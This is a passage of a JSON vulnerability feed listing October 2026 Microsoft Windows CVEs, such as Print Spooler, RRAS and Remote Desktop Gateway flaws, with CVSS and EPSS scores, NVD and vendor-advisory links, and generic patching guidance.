Projected File System allows an authorized attacker to elevate privileges locally.","summary":"Weak authentication in Windows Projected File System allows an authorized attacker to elevate privileges locally.","detail":"Weak authentication in Windows Projected File System allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:54.223Z","updatedAt":"2026-10-16T18:04:50.550Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85328","asOf":"2026-10-16T18:04:50.550Z"},"epss":{"probability":0.0022,"percentile":0.12381,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85328&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85328","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85328","type":"primary","publishedAt":"2026-10-13T19:20:54.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85328","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85328&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85328, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85327","cveId":"CVE-2026-85327","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:54.010Z","updatedAt":"2026-10-16T17:40:39.387Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85327","asOf":"2026-10-16T17:40:39.387Z"},"epss":{"probability":0.00311,"percentile":0.23698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85327&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85327","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85327","type":"primary","publishedAt":"2026-10-13T19:20:54.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85327","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85327&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85327, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85324","cveId":"CVE-2026-85324","aliases":[],"kind":"vulnerability","title":"Memory allocation with excessive size value in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.","summary":"Memory allocation with excessive size value in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.","detail":"Memory allocation with excessive size value in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:53.850Z","updatedAt":"2026-10-16T17:33:49.437Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85324","asOf":"2026-10-16T17:33:49.437Z"},"epss":{"probability":0.0075,"percentile":0.54661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85324","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85324","type":"primary","publishedAt":"2026-10-13T19:20:53.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85324","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85324, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85322","cveId":"CVE-2026-85322","aliases":[],"kind":"vulnerability","title":"Use of uninitialized resource in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.","summary":"Use of uninitialized resource in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.","detail":"Use of uninitialized resource in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:53.530Z","updatedAt":"2026-10-16T17:35:30.540Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85322","asOf":"2026-10-16T17:35:30.540Z"},"epss":{"probability":0.01027,"percentile":0.63375,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85322&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85322","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85322","type":"primary","publishedAt":"2026-10-13T19:20:53.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85322","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85322&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85322, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84020","cveId":"CVE-2026-84020","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:52.593Z","updatedAt":"2026-10-19T14:01:36.763Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","Microsoft Office","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84020","asOf":"2026-10-19T14:01:36.763Z"},"epss":{"probability":0.00246,"percentile":0.15675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84020&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84020","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84020","type":"primary","publishedAt":"2026-10-13T19:20:52.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84020","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84020&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84020, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84019","cveId":"CVE-2026-84019","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Advanced Rasterization Platform allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Advanced Rasterization Platform allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Advanced Rasterization Platform allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:52.437Z","updatedAt":"2026-10-19T14:02:56.957Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84019","asOf":"2026-10-19T14:02:56.957Z"},"epss":{"probability":0.00199,"percentile":0.09605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84019&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84019","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84019","type":"primary","publishedAt":"2026-10-13T19:20:52.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84019","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84019&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84019, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84018","cveId":"CVE-2026-84018","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:52.257Z","updatedAt":"2026-10-19T14:05:39.307Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84018","asOf":"2026-10-19T14:05:39.307Z"},"epss":{"probability":0.00188,"percentile":0.08392,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84018","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84018","type":"primary","publishedAt":"2026-10-13T19:20:52.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84018","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84017","cveId":"CVE-2026-84017","aliases":[],"kind":"vulnerability","title":"Null pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.","summary":"Null pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.","detail":"Null pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:52.077Z","updatedAt":"2026-10-19T15:05:13.523Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84017","asOf":"2026-10-19T15:05:13.523Z"},"epss":{"probability":0.01125,"percentile":0.66039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84017","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84017","type":"primary","publishedAt":"2026-10-13T19:20:52.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84017","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84016","cveId":"CVE-2026-84016","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows EAPHost Service allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds write in Windows EAPHost Service allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds write in Windows EAPHost Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:51.903Z","updatedAt":"2026-10-19T15:10:36.590Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84016","asOf":"2026-10-19T15:10:36.590Z"},"epss":{"probability":0.00311,"percentile":0.23698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84016","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84016","type":"primary","publishedAt":"2026-10-13T19:20:51.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84016","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84014","cveId":"CVE-2026-84014","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:51.550Z","updatedAt":"2026-10-19T15:13:05.713Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84014","asOf":"2026-10-19T15:13:05.713Z"},"epss":{"probability":0.00215,"percentile":0.11789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84014","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84014","type":"primary","publishedAt":"2026-10-13T19:20:51.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84014","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84013","cveId":"CVE-2026-84013","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Telephony Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:51.363Z","updatedAt":"2026-10-19T15:14:27.537Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84013","asOf":"2026-10-19T15:14:27.537Z"},"epss":{"probability":0.00311,"percentile":0.23701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84013","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84013","type":"primary","publishedAt":"2026-10-13T19:20:51.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84013","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84012","cveId":"CVE-2026-84012","aliases":[],"kind":"vulnerability","title":"Double free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.","summary":"Double free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.","detail":"Double free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:51.213Z","updatedAt":"2026-10-19T15:15:25.870Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84012","asOf":"2026-10-19T15:15:25.870Z"},"epss":{"probability":0.00673,"percentile":0.51835,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 